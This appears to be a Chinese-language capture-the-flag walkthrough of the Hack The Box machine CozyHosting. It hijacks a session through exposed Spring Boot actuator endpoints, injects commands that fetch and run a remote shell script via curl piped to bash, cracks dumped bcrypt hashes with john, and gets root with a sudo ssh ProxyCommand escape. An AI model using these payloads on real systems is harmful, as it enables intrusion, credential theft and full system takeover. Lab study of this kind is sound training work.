CozyHosting

36

Machine:Linux

Level:easy

信息收集

nmap

└─# nmap -p 22,80 -sC -sV -A 10.10.11.230
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 15:24 GMT
Nmap scan report for cozyhosting.htb (10.10.11.230)
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   237.58 ms 10.10.14.1
2   237.67 ms cozyhosting.htb (10.10.11.230)

gobuster

└─# gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
===============================================================
/index                (Status: 200) [Size: 12706]
/login                (Status: 200) [Size: 4431]
/admin                (Status: 401) [Size: 97]
/error                (Status: 500) [Size: 73]

权限获取

Spring Boot Actuators信息泄露

​ 逐个访问扫出来的信息发现/error网页报错 Whitelabel Error Page,这里可以知道是Spring boot框架,我们访问/actuator利用 Actuator 查看运行了哪些程序。

{
  "_links": {
    "self": {
      "href": "http://localhost:8080/actuator",
      "templated": false
    },
    "sessions": {
      "href": "http://localhost:8080/actuator/sessions",
      "templated": false
    },
    "beans": {
      "href": "http://localhost:8080/actuator/beans",
      "templated": false
    },
    "health-path": {
      "href": "http://localhost:8080/actuator/health/{*path}",
      "templated": true
    },
    "health": {
      "href": "http://localhost:8080/actuator/health",
      "templated": false
    },
    "env": {
      "href": "http://localhost:8080/actuator/env",
      "templated": false
    },
    "env-toMatch": {
      "href": "http://localhost:8080/actuator/env/{toMatch}",
      "templated": true
    },
    "mappings": {
      "href": "http://localhost:8080/actuator/mappings",
      "templated": false
    }
  }
}

​ 我们看见了/actuator/sessions,利用 curl 请求该地址返回了我们一个cookie,尝试利用cookie登录我们之前扫描得到的/admin发现登录成功。

└─# curl -s http://cozyhosting.htb/actuator/sessions | jq                     
{
  "0BF452EBF4BAF77CD69F19F8B00CA3BE": "UNAUTHORIZED",
  "3C0185207238B22EDC8B19C5480F0CF1": "UNAUTHORIZED",
  "A869225803F4BFFD732AB4D9600CA6C5": "kanderson"
}

RCE

​ 在控制台的最下面可以发现一个表单且上面的文字也说明了当我们输入本机 IP 和对应用户名后靶机会连接,通过抓包发现填写的数据以POST的方式向/executessh发送。

---Request---
POST /executessh HTTP/1.1
...
host=10.10.14.127&username=id

---Responce---
HTTP/1.1 302 
...
Location: http://cozyhosting.htb/admin?error=ssh: connect to host 10.10.14.127 port 22: Connection timed out
...

​ 返回重定向并显示无法连接本机,我们将host更换为127.0.0.1继续查看。

---Request---
POST /executessh HTTP/1.1
...
host=127.0.0.1&username=id

---Responce---
HTTP/1.1 302 
...
Location: http://cozyhosting.htb/admin?error=Host key verification failed.
...

​ 返回验证失败,根据请求地址名称和报错内容推测我们提交用户名和 IP 后靶机会执行ssh <key> <username>@<host>命令,因此可以构造恶意的username来进行反向shell。有;和 ` 两种绕过方法。

host=127.0.0.1&username=`curl${IFS}10.10.14.127/shell.sh|bash`
host=127.0.0.1&username=;curl${IFS}10.10.14.127/shell.sh|bash;
└─# nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.127] from (UNKNOWN) [10.10.11.230] 42788
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("bash")'
app@cozyhosting:/app$ export TERM=xterm-256color
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar

权限提升

josh

​ 由于我们并没有获取用户权限所以我们首先希望获得用户权限。查看当前网络进程发现Postgresql服务是开启的,查看数据库中的是否有可用信息。

app@cozyhosting:/app$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address   Foreign Address  State   PID/Program name    
tcp        0      0 127.0.0.1:5432  0.0.0.0:*        LISTEN  -            
tcp        0      0 0.0.0.0:22      0.0.0.0:*        LISTEN  -            
tcp        0      0 0.0.0.0:80      0.0.0.0:*        LISTEN  -            
tcp        0      0 127.0.0.53:53   0.0.0.0:*        LISTEN  -            
tcp        0      0 0.0.0.0:8000    0.0.0.0:*        LISTEN  20138/python3       
tcp6       0      0 :::22           :::*             LISTEN  -            
tcp6       0      0 127.0.0.1:8080  :::*             LISTEN  1053/java    
udp        0      0 127.0.0.53:53   0.0.0.0:*             -            
udp        0      0 0.0.0.0:68      0.0.0.0:*             -

​ 查看/etc/passwd可以知道数据库的用户是postgres,但当我们登陆时依旧需要密码无法登录。查看在最开始的.jar包,由于我们没有 root 权限所以通过zipgrep查看包内是否有密码。

app@cozyhosting:/app$ zipgrep password cl                
zipgrep password cloudhosting-0.0.1.jar 
grep: (standard input): binary file matches
grep: (standard input): binary file matches
grep: (standard input): binary file matches
...
BOOT-INF/classes/application.properties:spring.datasource.password=[delete]
grep: (standard input): binary file matches

​ 使用密码登录数据库查看信息。

app@cozyhosting:/app$ psql -U postgres -h localhost -W
Password: 
postgres=# select datname from pg_database;
   datname   
-------------
 postgres
 cozyhosting
 template1
 template0
postgres=# \c cozyhosting
Password: 
cozyhosting=# \d
              List of relations
 Schema |     Name     |   Type   |  Owner   
--------+--------------+----------+----------
 public | hosts        | table    | postgres
 public | hosts_id_seq | sequence | postgres
 public | users        | table    | postgres
 cozyhosting=# select * from users;
   name  |                          password                          |role
---------+------------------------------------------------------------+-----
kanderson|$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlW0FOaNNpIPjXpij1NVNV3|User
admin    |$2a$10$SpKYdHLBT7n3x72wtuS0yMm6eH58zimR8uqqbUb2MZib3H9kVO8dm|Admin

​ 得到加密密码后我们用john来破解密码,尝试得到admin的密码是可以破解出来的。

└─# john --wordlist=/usr/share/wordlists/rockyou.txt password
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[delete] (?)     
1g 0:00:00:10 DONE (2023-09-04 20:48) 0.09803g/s 275.2p/s 275.2c/s 275.2C/s hellomoto..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
└─# ssh josh@10.10.11.230 
josh@10.10.11.230's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)
josh@cozyhosting:~$ 

root

​ 查看特权指令

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

​ 在gtfobins中搜索便可以得到提权命令,可能就是这靶机easy的地方吧🤷‍♂️

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)